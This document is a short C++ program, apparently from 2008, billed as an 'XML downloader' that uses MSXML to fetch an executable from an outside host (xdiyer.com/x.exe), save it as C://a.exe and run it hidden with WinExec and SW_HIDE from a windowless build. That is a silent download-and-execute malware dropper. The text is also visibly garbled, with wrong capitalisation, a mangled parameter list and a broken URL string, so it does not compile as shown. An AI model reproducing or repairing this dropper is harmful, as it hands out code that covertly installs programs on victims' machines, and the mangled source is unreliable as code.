XML downloader by cooldiyer
// XML. cpp: By cooldiyer 2008/4/9 14:03
//
# Pragma comment (linker, "/subsystem: Windows/filealign: 0 × 200/OPT: nowin98")
# Include <windows. h>
# Include <atlbase. h>
# Import "MSXML. dll"
Bool urldownloadtofile (maid, maid)
{
MSXML: ixmlhttprequestptr XMLHTTP = NULL;
Hresult hr;
BSTR bstrstring = NULL;
HR = XMLHTTP. createinstance ("msxml2.xmlhttp");
If (! Succeeded (HR) return false;
HR = XMLHTTP-> open ("get", szurl, false );
If (! Succeeded (HR) return false;
HR = XMLHTTP-> send ();
If (! Succeeded (HR) return false;
XMLHTTP-> get_responsetext (& bstrstring );
If (! Succeeded (HR) return false;
Variant vvalue;
XMLHTTP-> get_responsestream (& vvalue );
Istream * pistream = NULL;
Statstg;
Pistream = (istream *) vvalue. punkval; // gets the stream object pointer.
Pistream-> Stat (& statstg, null );
Ulong nsize = ulong (statstg. cbsize. quadpart); // obtain the object length.
Handle hfile = createfile (szfilename, generic_write, file_share_write, null, create_always, file_attribute_normal, null );
Byte lpbuffer [1024];
DWORD dwbyteswritten = 0;
Ulong Ulen;
While (nsize> 0)
{
Pistream-> Read (lpbuffer, min (nsize, 1024), & Ulen); // prevent files from being too large
Writefile (hfile, lpbuffer, Ulen, & dwbyteswritten, null );
Nsize-= Ulen;
}
Closehandle (hfile );
If (pistream)
{
Pistream-> release ();
Pistream = NULL;
}
Return true;
}
Int winapi winmain (
Hinstance, // handle to current instance
Hinstance hprevinstance, // handle to previous instance
Lpstr lpcmdline, // command line
Int ncmdshow // show state
)
{
Coinitialize (null );
Char * lpszfile = "C: // a.exe";
Urldownloadtofile (http://xdiyer.com/x.exe", lpszfile );
Winexec (lpszfile, sw_hide );
Couninitialize ();
Return 0;
}